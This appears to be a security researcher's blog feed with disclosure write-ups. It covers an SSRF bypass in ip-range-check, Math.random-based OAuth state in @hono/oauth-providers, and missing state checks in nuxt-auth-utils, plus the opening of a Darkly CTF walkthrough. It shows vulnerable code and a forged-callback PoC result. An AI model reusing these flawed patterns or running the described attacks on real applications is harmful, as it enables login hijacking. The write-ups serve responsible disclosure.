&lt;li&gt;&lt;strong&gt;Fix shipped&lt;/strong&gt; as &lt;code&gt;v0.2.1&lt;/code&gt; with a dedicated regression suite; my PoC re-run and confirmed blocked against the patch.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Advisory published&lt;/strong&gt;: &lt;a href=&quot;https://github.com/danielcompton/ip-range-check/security/advisories/GHSA-87xc-4hwr-pxf6&quot;&gt;GHSA-87xc-4hwr-pxf6&lt;/a&gt;, crediting &quot;Youssef Aboukir (onevilx).&quot;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;CVE requested&lt;/strong&gt; by the maintainer, pending assignment.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;A fast, careful, independently-verified response — notable given this is a solo-maintained package with no dedicated security process, not a company with a security team on call.&lt;/p&gt;
&lt;h2&gt;Takeaways&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;A validator/connector disagreement is a durable, re-findable bug class.&lt;/strong&gt; The specific strings change, but the shape — &quot;the OS resolver accepts input the security check&apos;s parser rejects&quot; — repeats across libraries, and precedent (the &lt;code&gt;ip&lt;/code&gt; package&apos;s two prior CVEs) is a legitimate map for where to look next.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Ruling things out is part of the work.&lt;/strong&gt; &lt;code&gt;request-filtering-agent&lt;/code&gt; and &lt;code&gt;ssrf-req-filter&lt;/code&gt; weren&apos;t vulnerable, and knowing &lt;em&gt;why&lt;/em&gt; (resolve-then-check design) sharpened what to look for in the next candidate rather than wasting more time on already-hardened libraries.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;A partial bypass is more convincing than a blanket one.&lt;/strong&gt; The fact that full decimal/hex/octal forms were correctly blocked, while only the abbreviated forms leaked through, showed this was a specific, fixable parsing gap rather than &quot;the whole library doesn&apos;t work&quot; — which is both more credible and more useful to the maintainer trying to fix it.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;State your own finding&apos;s limits before someone else does.&lt;/strong&gt; Being upfront that this doesn&apos;t work through &lt;code&gt;new URL()&lt;/code&gt; normalization didn&apos;t weaken the report — it&apos;s what made the parts that genuinely are exploitable land as credible rather than oversold.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;References&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/danielcompton/ip-range-check/security/advisories/GHSA-87xc-4hwr-pxf6&quot;&gt;GHSA-87xc-4hwr-pxf6&lt;/a&gt; — this advisory&lt;/li&gt;
&lt;li&gt;CWE-918 — Server-Side Request Forgery&lt;/li&gt;
&lt;li&gt;CVE-2023-42282, CVE-2024-29415 — the identical bug class in the &lt;code&gt;ip&lt;/code&gt; package&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;p&gt;&lt;em&gt;Reported by Youssef Aboukir (onevilx). Thanks to Daniel Compton for the careful, independent verification and fast fix on a project he&apos;s maintained solo for years.&lt;/em&gt;&lt;/p&gt;
</content:encoded></item><item><title>Weak Randomness in @hono/oauth-providers</title><link>https://www.onevilx.tech/posts/hono-oauth-providers-weak-state/</link><guid isPermaLink="true">https://www.onevilx.tech/posts/hono-oauth-providers-weak-state/</guid><description>A deep dive into CWE-338 in @hono/oauth-providers: why using Math.random() for OAuth state and PKCE verifiers defeats CSRF protection, and how to prove it with a deterministic-reconstruction PoC.</description><pubDate>Mon, 03 Aug 2026 00:00:00 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Advisory:&lt;/strong&gt; &lt;a href=&quot;https://github.com/honojs/middleware/security/advisories/GHSA-6833-cxmv-fqjf&quot;&gt;GHSA-6833-cxmv-fqjf&lt;/a&gt; — &lt;strong&gt;Published&lt;/strong&gt;
&lt;strong&gt;CVE:&lt;/strong&gt; No known CVE
&lt;strong&gt;Package:&lt;/strong&gt; &lt;a href=&quot;https://www.npmjs.com/package/@hono/oauth-providers&quot;&gt;&lt;code&gt;@hono/oauth-providers&lt;/code&gt;&lt;/a&gt; (npm)
&lt;strong&gt;Fixed in:&lt;/strong&gt; &lt;a href=&quot;https://github.com/honojs/middleware/releases/tag/v0.8.7&quot;&gt;&lt;code&gt;v0.8.7&lt;/code&gt;&lt;/a&gt;
&lt;strong&gt;Class:&lt;/strong&gt; CWE-338 — Use of Cryptographically Weak PRNG
&lt;strong&gt;Severity:&lt;/strong&gt; Moderate (CVSS 3.1 — &lt;code&gt;AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:N&lt;/code&gt;)
&lt;strong&gt;Affected Versions:&lt;/strong&gt; &lt;code&gt;&amp;lt;= 0.8.6&lt;/code&gt;
&lt;strong&gt;Status:&lt;/strong&gt; Reported → confirmed → patched → published.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr /&gt;
&lt;h2&gt;How I found it&lt;/h2&gt;
&lt;p&gt;OAuth libraries implement two values that are supposed to carry real cryptographic weight but are easy to generate carelessly if you&apos;re not thinking about it as a security primitive rather than &quot;just a random string&quot;: the &lt;code&gt;state&lt;/code&gt; parameter (the flow&apos;s anti-CSRF token) and, for providers using PKCE, the &lt;code&gt;code_verifier&lt;/code&gt;. Both have hard requirements in their respective specs — &lt;code&gt;state&lt;/code&gt; must be unguessable, and RFC 7636 explicitly requires the PKCE verifier to come from a cryptographically secure generator. Auditing how a library actually produces these values is a direct, mechanical way to check whether it&apos;s meeting that bar.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;@hono/oauth-providers&lt;/code&gt; generates both in two small utility files, &lt;code&gt;src/utils/getRandomState.ts&lt;/code&gt; and &lt;code&gt;src/utils/getCodeChallenge.ts&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// getRandomState.ts — used by every provider
const rand = () =&amp;gt; Math.random().toString(36).substr(2)
export function getRandomState() {
  return `${rand()}-${rand()}-${rand()}`
}

// getCodeChallenge.ts — X/Twitter provider&apos;s PKCE code_verifier
const length = Math.floor(Math.random() * (128 - 43 + 1)) + 43
// ...characters.charAt(Math.floor(Math.random() * characters.length))...
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Both are built entirely on &lt;code&gt;Math.random()&lt;/code&gt;. I confirmed this was present in the shipped 0.8.6 artifact across the following affected providers: &lt;strong&gt;google, github, discord, facebook, twitch, x, linkedin, msentra&lt;/strong&gt;.&lt;/p&gt;
&lt;h2&gt;Why that&apos;s a real problem, not a style nitpick&lt;/h2&gt;
&lt;p&gt;&lt;code&gt;Math.random()&lt;/code&gt; is not a cryptographically secure PRNG, and the gap isn&apos;t theoretical. V8 implements it as xorshift128+ — a fast, high-quality PRNG for simulations and games, but one whose internal 128-bit state is recoverable from a small number of observed outputs. Once that state is recovered, every subsequent output is deterministic, not random.&lt;/p&gt;
&lt;p&gt;Two details make this specific to OAuth flows rather than a generic &quot;don&apos;t use Math.random for security&quot; note:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;The generator is a single stream shared across every request handled by the same isolate — it isn&apos;t reseeded or scoped per-request.&lt;/li&gt;
&lt;li&gt;Each authorization request leaks a fresh state value directly in the redirect URL — which is, by design, visible to whoever initiated that request.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Put together: an attacker able to sample enough outputs of the shared stream (by initiating their own OAuth flows against the same app and reading the state values they get back) can, in principle, predict state values issued to other concurrent requests on the same instance — defeating the exact protection the parameter exists to provide. On the X/Twitter provider, the identical weakness applies to the &lt;code&gt;code_verifier&lt;/code&gt;, which is what would otherwise bind a callback to the browser that actually started the flow.&lt;/p&gt;
&lt;h2&gt;Confirming it wasn&apos;t just a description&lt;/h2&gt;
&lt;p&gt;Rather than argue this from the source alone, I built a small, self-contained proof that captures the exact &lt;code&gt;Math.random()&lt;/code&gt; draws a single &lt;code&gt;getRandomState()&lt;/code&gt; call consumes, and reconstructs the same token from nothing but those draws:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;const rand = () =&amp;gt; Math.random().toString(36).slice(2)
const getRandomState = () =&amp;gt; `${rand()}-${rand()}-${rand()}`

const draws = []
const real = Math.random
Math.random = () =&amp;gt; { const v = real(); draws.push(v); return v }

const token = getRandomState()
Math.random = real

const rebuilt = draws.map((d) =&amp;gt; d.toString(36).slice(2)).join(&apos;-&apos;)

console.log(&apos;issued state token: &apos;, token)
console.log(&apos;rebuilt from draws: &apos;, rebuilt)
console.log(&apos;identical:&apos;, token === rebuilt)  // -&amp;gt; true
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The token is a pure function of exactly three &lt;code&gt;Math.random()&lt;/code&gt; outputs — no hidden entropy, nothing beyond what those three draws determine. That&apos;s the concrete demonstration that the value carries no more unpredictability than V8&apos;s PRNG state itself, which is the thing that&apos;s recoverable.&lt;/p&gt;
&lt;h2&gt;Honest scope&lt;/h2&gt;
&lt;p&gt;Two things worth stating plainly, both of which ended up in the maintainer&apos;s own published advisory:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Applications that supply their own state through the &lt;code&gt;state&lt;/code&gt; option — available on googleAuth, msentraAuth, and twitchAuth — never reach the affected code path for that value. This is a library-default issue, not a universal one across every possible configuration.&lt;/li&gt;
&lt;li&gt;Full exploitation is intricate. Recovering the generator&apos;s internal state and aligning that recovery with a concurrent request in time is a real, non-trivial attack, not a one-line exploit. The severity here comes from the weakness being unconditional (CWE-338 doesn&apos;t require proving a live attack to be real), and from the PKCE &lt;code&gt;code_verifier&lt;/code&gt; case being a direct, unambiguous spec violation on its own — that half doesn&apos;t need a timing argument at all.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;I&apos;d rather a report undersell exploitability slightly than have someone else find the gap in a claim later; both of those caveats went into the original disclosure exactly as written above.&lt;/p&gt;
&lt;h2&gt;Suggested fix&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;export function getRandomState() {
  return crypto.randomUUID() + crypto.randomUUID()
}

function generateRandomString() {
  const bytes = crypto.getRandomValues(new Uint8Array(64))
  return base64URLEncode(String.fromCharCode(...bytes))
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;crypto.getRandomValues()&lt;/code&gt; and &lt;code&gt;crypto.randomUUID()&lt;/code&gt; are available across every runtime this library targets — Workers, Deno, Bun, and Node 18+ — so there&apos;s no platform reason the weak generator was necessary.&lt;/p&gt;
&lt;h2&gt;Reporting it&lt;/h2&gt;
&lt;p&gt;&lt;code&gt;honojs/middleware&lt;/code&gt; had no &lt;code&gt;SECURITY.md&lt;/code&gt; and no private vulnerability reporting enabled at the time, so I emailed the maintainer, Yusuke Wada, directly with the technical breakdown, the affected code, the deterministic-reconstruction PoC, and the suggested fix — plus one smaller, secondary note: the X provider was setting its state and code-verifier cookies without the Secure attribute (commented out in the source), which would allow them to be transmitted over plaintext HTTP.&lt;/p&gt;
&lt;p&gt;Before submitting this report, I explicitly checked if this overlapped with Yusuke&apos;s recent advisory on the same repo (GHSA-fm3f-ch8h-qw8q: &quot;state check fails open on omitted state&quot;). In the email, I made a point of distinguishing the two: while the prior advisory dealt with the check failing when &lt;code&gt;state&lt;/code&gt; was omitted, my report was strictly about the cryptographic weakness of the generated randomness itself, which was still fully present in version 0.8.6.&lt;/p&gt;
&lt;h2&gt;The response&lt;/h2&gt;
&lt;p&gt;Yusuke replied quickly, asked for my GitHub username so he could credit me directly as reporter, and published &lt;a href=&quot;https://github.com/honojs/middleware/security/advisories/GHSA-6833-cxmv-fqjf&quot;&gt;GHSA-6833-cxmv-fqjf&lt;/a&gt; shortly after — Moderate severity, CWE-338, fixed in 0.8.7. The published advisory&apos;s language on impact and the exploitation caveat matches what was in the original report closely, which is a good sign the technical substance came through cleanly rather than getting compressed or softened in translation.&lt;/p&gt;
&lt;h2&gt;Disclosure timeline&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Reported by email&lt;/strong&gt; — no &lt;code&gt;SECURITY.md&lt;/code&gt; on the repo at the time.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Same-day reply&lt;/strong&gt; from Yusuke; GitHub username exchanged for credit.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Advisory published&lt;/strong&gt;: GHSA-6833-cxmv-fqjf, fixed in v0.8.7.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;CVE&lt;/strong&gt;: Unassigned. The vulnerability was published exclusively as a GitHub Security Advisory (GHSA), consistent with the maintainer&apos;s approach to prior advisories on this project.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Takeaways&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Randomness generation is worth auditing directly, not just trusting.&lt;/strong&gt; &lt;code&gt;getRandomState&lt;/code&gt; / &lt;code&gt;getCodeChallenge&lt;/code&gt;-style utility functions are exactly the kind of small, easy-to-overlook file where &quot;just use &lt;code&gt;Math.random()&lt;/code&gt;, it&apos;s just a string&quot; slips in, even in an otherwise well-built library.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;A deterministic-reconstruction PoC is a clean way to prove weak entropy&lt;/strong&gt; without needing to build out the full state-recovery attack — showing a token is a pure function of a handful of &lt;code&gt;Math.random()&lt;/code&gt; outputs is enough to demonstrate the weakness is real, even while being honest that the full attack chain is more involved.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;A CVE is not the only metric of impact.&lt;/strong&gt; A published, credited advisory (like a GHSA) provides concrete evidence of the vulnerability and the research, regardless of whether a CVE ID is assigned.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;References&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/honojs/middleware/security/advisories/GHSA-6833-cxmv-fqjf&quot;&gt;GHSA-6833-cxmv-fqjf&lt;/a&gt; — this advisory&lt;/li&gt;
&lt;li&gt;RFC 6749 §10.12 — the state parameter and CSRF&lt;/li&gt;
&lt;li&gt;RFC 7636 §7.1 — PKCE &lt;code&gt;code_verifier&lt;/code&gt; generation requirements&lt;/li&gt;
&lt;li&gt;CWE-338 — Use of Cryptographically Weak PRNG&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;p&gt;&lt;em&gt;Reported by Youssef Aboukir (onevilx). Thanks to Yusuke Wada for the fast response and for approving this writeup.&lt;/em&gt;&lt;/p&gt;
</content:encoded></item><item><title>OAuth Login-CSRF in Nuxt-Auth-Utils</title><link>https://www.onevilx.tech/posts/nuxt-auth-utils-oauth-csrf/</link><guid isPermaLink="true">https://www.onevilx.tech/posts/nuxt-auth-utils-oauth-csrf/</guid><description>An architectural deep dive into uncovering a moderate OAuth Login-CSRF vulnerability in nuxt-auth-utils, affecting 35 out of 48 supported identity providers due to missing state validation.</description><pubDate>Mon, 03 Aug 2026 00:00:00 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Advisory:&lt;/strong&gt; &lt;a href=&quot;https://github.com/atinux/nuxt-auth-utils/security/advisories/GHSA-xc49-mgwh-9pjv&quot;&gt;GHSA-xc49-mgwh-9pjv&lt;/a&gt; — &lt;strong&gt;Published&lt;/strong&gt;
&lt;strong&gt;CVE:&lt;/strong&gt; Requested by the maintainer, pending assignment
&lt;strong&gt;Package:&lt;/strong&gt; &lt;a href=&quot;https://www.npmjs.com/package/nuxt-auth-utils&quot;&gt;&lt;code&gt;nuxt-auth-utils&lt;/code&gt;&lt;/a&gt; (npm, ~100k downloads/week)
&lt;strong&gt;Fixed in:&lt;/strong&gt; &lt;a href=&quot;https://github.com/atinux/nuxt-auth-utils/releases/tag/v0.5.30&quot;&gt;&lt;code&gt;v0.5.30&lt;/code&gt;&lt;/a&gt;
&lt;strong&gt;Class:&lt;/strong&gt; CWE-352 — Cross-Site Request Forgery (OAuth login-CSRF)
&lt;strong&gt;Severity:&lt;/strong&gt; Moderate (CVSS 3.1 5.4 — &lt;code&gt;AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N&lt;/code&gt;)
&lt;strong&gt;Affected:&lt;/strong&gt; &lt;code&gt;&amp;lt;= 0.5.29&lt;/code&gt;
&lt;strong&gt;Status:&lt;/strong&gt; Reported → confirmed → patched → published, all within 24 hours.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr /&gt;
&lt;h2&gt;How I got here&lt;/h2&gt;
&lt;p&gt;The hunt was deliberate rather than random: instead of auditing framework cores — which tend to be the most heavily reviewed part of any ecosystem — I went looking one layer out, in the auth, session, and OAuth utility packages that plug into newer or adjacent frameworks. These packages frequently implement their own security-sensitive logic (token generation, session handling, CSRF protection) rather than delegating to something already hardened, and they get a fraction of the scrutiny the frameworks themselves do.&lt;/p&gt;
&lt;h2&gt;The sweep&lt;/h2&gt;
&lt;p&gt;I pulled in a batch of candidates from that space: &lt;code&gt;hono-sessions&lt;/code&gt;, &lt;code&gt;elysia-oauth2&lt;/code&gt;, &lt;code&gt;remix-auth-oauth2&lt;/code&gt;, &lt;code&gt;@auth/core&lt;/code&gt;, &lt;code&gt;iron-session&lt;/code&gt;, &lt;code&gt;hono-rate-limiter&lt;/code&gt;, &lt;code&gt;@hono/oidc-auth&lt;/code&gt;, &lt;code&gt;svelte-kit-cookie-session&lt;/code&gt;, &lt;code&gt;nuxt-auth-utils&lt;/code&gt;, and a few others — and grepped all of them for two things: &lt;code&gt;Math.random()&lt;/code&gt; showing up anywhere near a token/state/session/secret, and non-constant-time comparisons on anything security-relevant.&lt;/p&gt;
&lt;p&gt;One early candidate looked promising: &lt;code&gt;hono-sessions&lt;/code&gt; had a &lt;code&gt;hash !== hash(this.cache)&lt;/code&gt; comparison that was worth a second look. It turned out to be a dirty-check for change detection, not a security comparison — the actual session encryption used Iron (authenticated encryption) and &lt;code&gt;crypto.randomUUID()&lt;/code&gt; for IDs. A legitimate dead end, and worth ruling out properly rather than assuming.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;nuxt-auth-utils&lt;/code&gt; is where something real turned up — and it&apos;s worth being precise that this is the Nuxt/UnJS ecosystem, not Hono; a different project entirely, just found via the same search method.&lt;/p&gt;
&lt;h2&gt;What the library does right&lt;/h2&gt;
&lt;p&gt;&lt;code&gt;nuxt-auth-utils&lt;/code&gt; ships one OAuth handler per identity provider — 48 of them — and a shared CSRF helper, &lt;code&gt;handleState()&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;export async function handleState(event: H3Event) {
  const query = getQuery&amp;lt;{ state?: string }&amp;gt;(event)
  if (query.state) {
    const state = getCookie(event, &apos;nuxt-auth-state&apos;)
    deleteCookie(event, &apos;nuxt-auth-state&apos;)
    return state
  }
  const state = encodeBase64Url(getRandomBytes(8))
  setCookie(event, &apos;nuxt-auth-state&apos;, state, {
    httpOnly: true, secure: !isDevelopment, sameSite: &apos;lax&apos;,
    maxAge: OAUTH_COOKIE_MAX_AGE, path: &apos;/&apos;,
  })
  return state
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This is a correctly-designed CSRF mechanism — cryptographically random, bound to an httpOnly cookie, compared on callback. Nothing wrong with the primitive itself.&lt;/p&gt;
&lt;h2&gt;The pattern that gave it away&lt;/h2&gt;
&lt;p&gt;The method that actually surfaced this wasn&apos;t reading one file closely — it was auditing all 48 provider files for a simple, mechanical question: does this provider call &lt;code&gt;handleState()&lt;/code&gt;, and does it compare &lt;code&gt;query.state !== state&lt;/code&gt; on the callback?&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;PROVIDER    handleState  stateCheck  VERDICT
github      yes          yes         protected
google      no           no          VULNERABLE
discord     no           no          VULNERABLE
...
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;When a library implements the same security-sensitive flow dozens of times, the files that behave &lt;em&gt;differently&lt;/em&gt; from the rest are where the bugs hide. This was about as stark a signal as that pattern gets: &lt;strong&gt;13 protected, 35 unprotected.&lt;/strong&gt;&lt;/p&gt;
&lt;h2&gt;Root cause, side by side&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Protected (GitHub):&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;const state = await handleState(event)
if (query.state !== state) {
  return handleInvalidState(event, &apos;github&apos;, onError)
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Vulnerable (Google, and 34 others):&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;if (!query.code) {
  return sendRedirect(event, withQuery(config.authorizationURL, {
    state: query.state || &apos;&apos;,  // echoes caller input, NOT a stored token
  }))
}
const tokens = await requestAccessToken(config.tokenURL, { body: { grant_type: &apos;authorization_code&apos;, code: query.code, ... } })
return onSuccess(event, { tokens, user })  // no state check at all
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;state: query.state || &apos;&apos;&lt;/code&gt; looks superficially similar to real CSRF protection, but it&apos;s cosmetic — it echoes whatever the caller happened to pass, never a value bound to the session.&lt;/p&gt;
&lt;h2&gt;Ruling out &quot;maybe this was intentional&quot;&lt;/h2&gt;
&lt;p&gt;Before writing this up, I checked the repo&apos;s git history rather than assume the gap was a design choice: no commit anywhere ever added &lt;code&gt;handleState()&lt;/code&gt; to Google, Discord, or the other 34 providers — they never had it, from whenever each was added to the library. Combined with 13 &lt;em&gt;other&lt;/em&gt; providers doing it correctly, that closes off the obvious defense (&quot;the app is supposed to handle this itself&quot;) — the library clearly intended uniform protection and simply missed most providers.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Affected (35):&lt;/strong&gt; apple, atlassian, auth0, authentik, battledotnet, cognito, discord, dropbox, facebook, gitea, gitlab, google, hubspot, instagram, keycloak, kick, line, linear, linkedin, livechat, microsoft, paypal, polar, roblox, seznam, spotify, steam, strava, tiktok, twitch, vk, workos, xsuaa, yandex, and shopifyCustomer (a distinct sub-bug: it sets the state cookie but never actually compares it on callback).&lt;/p&gt;
&lt;h2&gt;Precedent&lt;/h2&gt;
&lt;p&gt;I checked whether this specific bug class had prior art before reporting it. It has: &lt;code&gt;fastapi-sso&lt;/code&gt; received &lt;strong&gt;CVE-2025-14546&lt;/strong&gt; for the identical pattern — generating a &lt;code&gt;state&lt;/code&gt; value but never persisting or verifying it against a trusted local value on the callback.&lt;/p&gt;
&lt;h2&gt;Impact&lt;/h2&gt;
&lt;p&gt;Missing &lt;code&gt;state&lt;/code&gt; validation removes CSRF protection from the entire login flow: an attacker starts an OAuth flow themselves, obtains an authorization &lt;code&gt;code&lt;/code&gt; bound to an identity they control, then gets the victim&apos;s browser to hit the application&apos;s callback URL carrying that code. With no &lt;code&gt;state&lt;/code&gt; check, the app signs the victim in as the attacker&apos;s identity — or, in account-linking flows, links the attacker&apos;s identity to the victim&apos;s account.&lt;/p&gt;
&lt;h2&gt;Building a real PoC, not a description&lt;/h2&gt;
&lt;p&gt;The first version of this report described the attack conceptually. When I stress-tested my own claim — &quot;is this PoC actually bulletproof?&quot; — the honest answer was no: I hadn&apos;t demonstrated anything running, just argued from source code. So I built an executable differential test that loads the &lt;strong&gt;real, unmodified&lt;/strong&gt; &lt;code&gt;google&lt;/code&gt; and &lt;code&gt;github&lt;/code&gt; handlers from the installed package, points them at a mock OAuth server, and fires an attacker-forged callback (stolen &lt;code&gt;code&lt;/code&gt;, attacker-chosen &lt;code&gt;state&lt;/code&gt;, no valid &lt;code&gt;nuxt-auth-state&lt;/code&gt; cookie) at both:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;GOOGLE  provider: {&quot;outcome&quot;:&quot;onSuccess&quot;,&quot;user&quot;:&quot;attacker@evil.test&quot;,&quot;token&quot;:&quot;ATTACKER_ACCESS_TOKEN&quot;}
  =&amp;gt; CSRF SUCCEEDED: onSuccess ran with attacker identity, NO state validation.
GITHUB  provider: {&quot;outcome&quot;:&quot;onError&quot;,&quot;message&quot;:&quot;Github login failed: state mismatch&quot;}
  =&amp;gt; Correctly REJECTED (state mismatch).   [control]
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The differential is the actual proof: the identical forged request is &lt;strong&gt;accepted&lt;/strong&gt; by Google&apos;s real handler and &lt;strong&gt;rejected&lt;/strong&gt; by GitHub&apos;s real handler — running the library&apos;s own code, not a description of what it should do. (The OAuth provider itself is mocked, so it isn&apos;t a real Google authorization code; in a live attack the attacker would supply a genuine one bound to their own account. What the PoC demonstrates — the missing check itself — is the vulnerability.)&lt;/p&gt;
&lt;h2&gt;Reporting it&lt;/h2&gt;
&lt;p&gt;The repo had no &lt;code&gt;SECURITY.md&lt;/code&gt; and no private vulnerability reporting enabled, so I emailed the maintainer directly with the full technical breakdown, the 13-vs-35 provider split, the executable PoC, and the &lt;code&gt;fastapi-sso&lt;/code&gt; precedent.&lt;/p&gt;
&lt;h2&gt;The response&lt;/h2&gt;
&lt;p&gt;Sébastien Chopin — Nuxt&apos;s creator — replied within the hour. He enabled private advisory reporting on the repo specifically so I could open the GHSA myself and be credited directly as reporter, and started on a fix the same day.&lt;/p&gt;
&lt;h2&gt;Reviewing the fix&lt;/h2&gt;
&lt;p&gt;The patch he shipped went further than the minimum: it routed every provider through &lt;code&gt;handleState()&lt;/code&gt;, handled the two genuinely tricky edge cases correctly (Apple&apos;s form-post callback, which reads &lt;code&gt;state&lt;/code&gt; from the POST body rather than the query string, and Steam&apos;s OpenID 2.0 flow, detected via &lt;code&gt;openid.claimed_id&lt;/code&gt;), prevented a caller-configured &lt;code&gt;state&lt;/code&gt; from overriding the generated one, fixed cookie cleanup paths, added a Google-specific regression test mirroring my PoC, and — the part I&apos;d call out specifically — added an &lt;strong&gt;invariant test across all 48 providers&lt;/strong&gt; that fails CI if any provider, present or future, ships without &lt;code&gt;handleState()&lt;/code&gt; and the state comparison. I reviewed the PR in full, checked it against the affected-provider list, and confirmed nothing was missed before approving it.&lt;/p&gt;
&lt;h2&gt;Disclosure timeline&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Day 1&lt;/strong&gt; — Found the 13-vs-35 split, verified it against git history, built the differential PoC, reported by email.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Same day&lt;/strong&gt; — Sébastien replied within the hour, enabled advisory reporting, had me open GHSA-xc49-mgwh-9pjv.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Same day&lt;/strong&gt; — Fix PR opened covering all 48 providers with regression and invariant tests; reviewed and approved.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Day 2&lt;/strong&gt; — Shipped as &lt;code&gt;v0.5.30&lt;/code&gt;, advisory published, CVE requested. The release notes: &lt;em&gt;&quot;Thanks to @onevilx for responsibly reporting this vulnerability.&quot;&lt;/em&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Takeaways&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Auditing for consistency finds bugs that reading one file at a time doesn&apos;t.&lt;/strong&gt; The signal here wasn&apos;t &quot;this code looks wrong&quot; — it was &quot;this file does something 34 others don&apos;t.&quot;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;A security control that exists but isn&apos;t wired everywhere is still a vulnerability&lt;/strong&gt;, not a partial mitigation. The library had a correct CSRF mechanism; most providers just never called it.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;If you doubt your own PoC, build a stronger one.&lt;/strong&gt; The first version of this report was a description. Pressure-testing it into an executable differential test is what made the finding land cleanly and fast.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;The best fix isn&apos;t just the patch — it&apos;s the invariant that prevents the next regression.&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;References&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/atinux/nuxt-auth-utils/security/advisories/GHSA-xc49-mgwh-9pjv&quot;&gt;GHSA-xc49-mgwh-9pjv&lt;/a&gt; — this advisory&lt;/li&gt;
&lt;li&gt;RFC 6749 §10.12 — CSRF and the &lt;code&gt;state&lt;/code&gt; parameter&lt;/li&gt;
&lt;li&gt;CWE-352 — Cross-Site Request Forgery&lt;/li&gt;
&lt;li&gt;CVE-2025-14546 — the same class in &lt;code&gt;fastapi-sso&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;p&gt;&lt;em&gt;Reported by Youssef Aboukir (onevilx). Thanks to Sébastien Chopin for the fast, professional turnaround.&lt;/em&gt;&lt;/p&gt;
</content:encoded></item><item><title>Darkly v2 - Introduction to OWASP</title><link>https://www.onevilx.tech/posts/darkly-web-security-42/</link><guid isPermaLink="true">https://www.onevilx.tech/posts/darkly-web-security-42/</guid><description>A full-length offensive security walkthrough of Darkly, the 42 Network web-exploitation project — chaining IDOR, unrestricted file upload, stored XSS against a moderation bot, MD5 reset tokens, mass assignment, XXE-to-SSRF, PocketBase privilege escalation, LFI via path traversal, and a CSRF endpoint with no server-side Origin validation into a complete authentication bypass, then auditing the remaining OWASP Top 10 weaknesses.</description><pubDate>Sun, 02 Aug 2026 00:00:00 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Complete Repository:&lt;/strong&gt; &lt;a href=&quot;https://github.com/onevilx/darkly&quot;&gt;onevilx/darkly&lt;/a&gt;
&lt;strong&gt;Target Stack:&lt;/strong&gt; FastAPI 0.104 / uvicorn 0.24 / Python 3.11 · PocketBase 0.22.4 backend
&lt;strong&gt;Environment:&lt;/strong&gt; 1337 School (42 Network)
&lt;strong&gt;Findings:&lt;/strong&gt; 10/10 Flags Recovered (6 Mandatory + 4 Bonus) · 19/19 Vulnerabilities Identified (10 Mandatory + 9 Bonus), plus one cross-cutting design-level write-up&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr /&gt;
